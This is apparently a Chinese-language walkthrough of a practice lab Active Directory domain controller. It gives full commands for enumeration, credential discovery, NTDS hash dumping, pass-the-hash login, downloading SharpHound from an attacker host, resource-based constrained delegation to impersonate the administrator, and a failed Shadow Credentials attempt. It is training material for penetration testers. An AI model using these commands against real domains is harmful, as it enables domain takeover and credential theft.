端口扫描
tcp
nmap -sC -sV -p- -T4 -n 192.168.133.175
PORT STATE SERVICE VERSION
53/tcp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-25 04:33:56Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=ResourceDC.resourced.local
| Not valid before: 2025-04-24T04:22:20
|_Not valid after: 2025-10-24T04:22:20
|_ssl-date: 2025-04-25T04:35:26+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: resourced
| NetBIOS_Domain_Name: resourced
| NetBIOS_Computer_Name: RESOURCEDC
| DNS_Domain_Name: resourced.local
| DNS_Computer_Name: ResourceDC.resourced.local
| DNS_Tree_Name: resourced.local
| Product_Version: 10.0.17763
|_ System_Time: 2025-04-25T04:34:47+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=4/25%Time=680B10B9%P=aarch64-unknown-linux-gnu%
SF:r(DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x02\0\x01\0\0\0\0\0\0\x07ve
SF:rsion\x04bind\0\0\x10\0\x03");
Service Info: Host: RESOURCEDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-25T04:34:49
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
UDP
nmap -Pn -n 192.168.133.175 -sU --top-ports=100 --reason
PORT STATE SERVICE REASON
53/udp open domain udp-response ttl 125
88/udp open kerberos-sec udp-response ttl 125
123/udp open ntp udp-response ttl 125
看见开放了389和636 LDAP服务,和tcp/udp 88端口开放Kerberos服务,基本判断这个是一台DC域控制器
在进行ad域渗透时,要注意调整时间
ntpdate -u 192.168.115.175
主要原因是 Kerberos 身份验证 对系统时间要求非常严格。Kerberos 认证协议需要客户端和服务器之间的时间同步,如果时间差异过大,Kerberos 认证将无法正常工作,导致身份验证失败
枚举
编辑/etc/hosts文件
445共享
smbclient --no-pass -L //192.168.133.175
enum4linux-ng -A 192.168.133.175
或者这个工具都可以
enum4linux -a 192.168.133.175
还发现密码策略,在进行避免密码爆破被锁定
密码历史长度:24
系统会存储最近的24个密码,防止用户重复使用相同的密码。这有助于确保密码的唯一性。
最小密码长度:7
密码必须至少包含7个字符。
最大密码有效期:41天 23小时 53分钟
密码属性:
DOMAIN_PASSWORD_COMPLEX:true - 密码必须符合复杂性要求(通常意味着密码必须包含大写字母、小写字母、数字和特殊字符)。
DOMAIN_PASSWORD_NO_ANON_CHANGE:false - 匿名用户允许更改密码。
DOMAIN_PASSWORD_NO_CLEAR_CHANGE:false - 用户允许更改密码,即使密码是以明文存储的。
DOMAIN_PASSWORD_LOCKOUT_ADMINS:false - 管理员账户在登录失败后不受账户锁定限制。
DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT:false - 密码不以明文形式存储。
DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE:false - 允许用户更改密码。
域账户锁定信息:
锁定观察窗口:30分钟 - 如果在30分钟内发生多次失败的登录尝试,账户可能会被锁定。
锁定持续时间:30分钟 - 一旦账户因登录失败被锁定,将保持锁定状态30分钟。
锁定阈值:无 - 未设置特定的阈值来决定账户因登录失败而被锁定。
域注销信息:
强制注销时间:未设置 - 没有设置自动注销用户的时间限制。
在观察输出的用户描述上,发现了密码
得到凭证:
V.Ventz : HotelCalifornia194!
凭证检验
使用nxc工具
都没有高权限,winrm也无法进入,
使用凭证枚举smb共享
可以使用smbmap枚举:
smbmap -u 'V.Ventz' -p 'HotelCalifornia194!' -d resourced.local -H 192.168.133.175
可以看见有一个叫‘Password Audit 密码审计‘ 的共享文件。
访问一下
smbclient '\\192.168.133.175\Password Audit' -U 'resourced.local\V.Ventz'
批量获取(mget)操作配置
RECURSE ON
PROMPT OFF
mget *
RECURSE ON
意思是开启递归模式
PROMPT OFF
把提示关掉,变成非交互式下载,直接全自动。
mget *
mget 是“multiple get”的缩写,意思是批量下载。 而 * 是通配符,代表当前目录下所有文件。
可以发现ntds.dit,ntds.jfm,SECURITY,SYSTEM文件:
ntds.dit 文件是 Active Directory 的核心数据库文件,存储了所有 AD 对象的信息,包括用户、计算机、组、组织单位以及与组策略相关的配置。
而 ntds.jfm 文件则是与 ntds.dit 配合使用的事务日志文件,它记录了所有对 ntds.dit 文件的修改操作,确保在系统崩溃或故障恢复时能够根据日志恢复数据库的完整性。
SECURITY 文件则存储了与系统安全相关的信息,包括密码策略、账户策略和本地安全设置,特别是本地管理员的密码哈希,它对渗透测试和取证分析至关重要。
SYSTEM 文件则包含了系统的配置信息和启动设置,记录了系统注册表的配置信息和硬件设置,在系统恢复或安全分析时,它可以帮助确定系统的配置状态。
导出NTLM hash
impacket-secretsdump -ntds ./ntds.dit -system ./SYSTEM -security ./SECURITY LOCAL
但是经过测试,管理员哈希不对
重新枚举
回去前面枚举点,仔细查看用户的描述
enum4linux-ng -u 'V.Ventz' -p 'HotelCalifornia194!' -A 192.168.115.175
仔细查看这个用户描述是sysadmin管理员。
尝试一下winrm和smb,发现winrm有管理员权限,可以登陆
winrm进入
传递哈希进入
evil-winrm -i 192.168.115.175 -u 'resourced.local\L.Livingstone' -H '19a3a7550ce8c505c2d46b5e39d6f808'
成功登陆,拿到shell
提权阶段
枚举
先枚举用户权限令牌
whoami /priv
没有特别的继续枚举ACL,用bloodhound,会比较简单,也可以用powerview枚举
下载
iwr -uri 192.168.45.166/SharpHound.exe -o SharpHound.exe
.\SharpHound.exe -c all
下载到本地分析
download 20250425055529_BloodHound.zip
发现我们对dc域控有Genericall权限
##提权步骤
Full control of a computer object can be used to perform a resource based constrained delegation attack.
可以使用基于资源的委派攻击
利用文章
1.首先,如果攻击者没有控制一个已设置 SPN 的账户,则可使用 Impacket 的 addcomputer.py 示例脚本添加一个新的攻击者控制的计算机账户:
impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.208.175 -hashes :19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'ATTACK$' -computer-pass "AttackerPC1!'
成功
2. 现在,我们需要配置目标对象,以便攻击者控制的计算机可以对其进行委托。
bloodyAD --host 192.168.208.175 -u 'L.Livingstone' -p ':19a3a7550ce8c505c2d46b5e39d6f808' -d resourced.local add rbcd 'ResourceDC$' 'ATTACK$'
成功,或者使用
rbcd.py脚本
python3 rbcd.py -dc-ip 192.168.120.181 -t RESOURCEDC -f 'ATTACK' -hashes :19a3a7550ce8c505c2d46b5e39d6f808 resourced\\l.livingstone
下面可以查询结果
Get-adcomputer resourcedc -properties msds-allowedtoactonbehalfofotheridentity |select -expand msds-allowedtoactonbehalfofotheridentit
查询委派成功
使用Impacket getST 脚本获取服务票证 (ST)进行模拟。例如,可以模拟管理员或域内的任何其他用户。
impacket-getST resourced.local/'ATTACK$':AttackerPC1! -spn cifs/ResourceDC.resourced.local -impersonate administrator -dc-ip 192.168.208.175
CIFS 是指 通用互联网文件系统(Common Internet File System),它是基于 SMB(Server Message Block) 协议的文件共享服务。
最后拿到 Privileged Access
拿到Kerberos ticket, 使用 pass-the-ticket :
export KRB5CCNAME=administrator@cifs_ResourceDC.resourced.local@RESOURCED.LOCAL.ccache
登陆
impacket-psexec resourced.local/administrator@ResourceDC.resourced.local -k -no-pass -dc-ip 192.168.208.175
成功!
Shadow Credentials attack
另一种方法,该技术涉及修改目标计算机账户或用户帐户的 msDS-KeyCredentialLink属性
在滥用 Key Trust 时,我们实际上是在向目标帐户添加替代凭据,或 “影子凭据”,从而允许获取 TGT 并用于后续操作。即使用户/计算机更改了密码,这些影子凭据也会保留。
在windows上进行
需要两个工具
Whisker.exe 和 Rubeus.exe
上传到目标
执行以下命令,通过 Whisker 的 add命令向域控制器的 msDS-KeyCredentialLink属性添加 Shadow Credentials
.\Whisker.exe add /target:ResourceDC$ /domain:resourced.local /dc:ResourceDC.resourced.local
通过 list命令可以列出目标对象的 msDS-KeyCredentialLink属性的所有条目,如下图所示。
.\Whisker.exe list /target:ResourceDC$ /domain:resourced.local /dc:ResourceDC.resourced.local
Whisker add命令的输出中提供了 Rubeus 命令,使用该命令可以使用基于证书的身份验证请求 TGT 票据。这里我们在 Whisker 提供的 Rubeus 命令后面加上了 /ptt,以将请求到的 TGT 传递到内存中。
报错,可能是域控制器不支持 PKINIT 身份验证(带证书的 Kerberos 身份验证)。这可能是因为 DC 尚未安装来自 ADCS 组件的证书。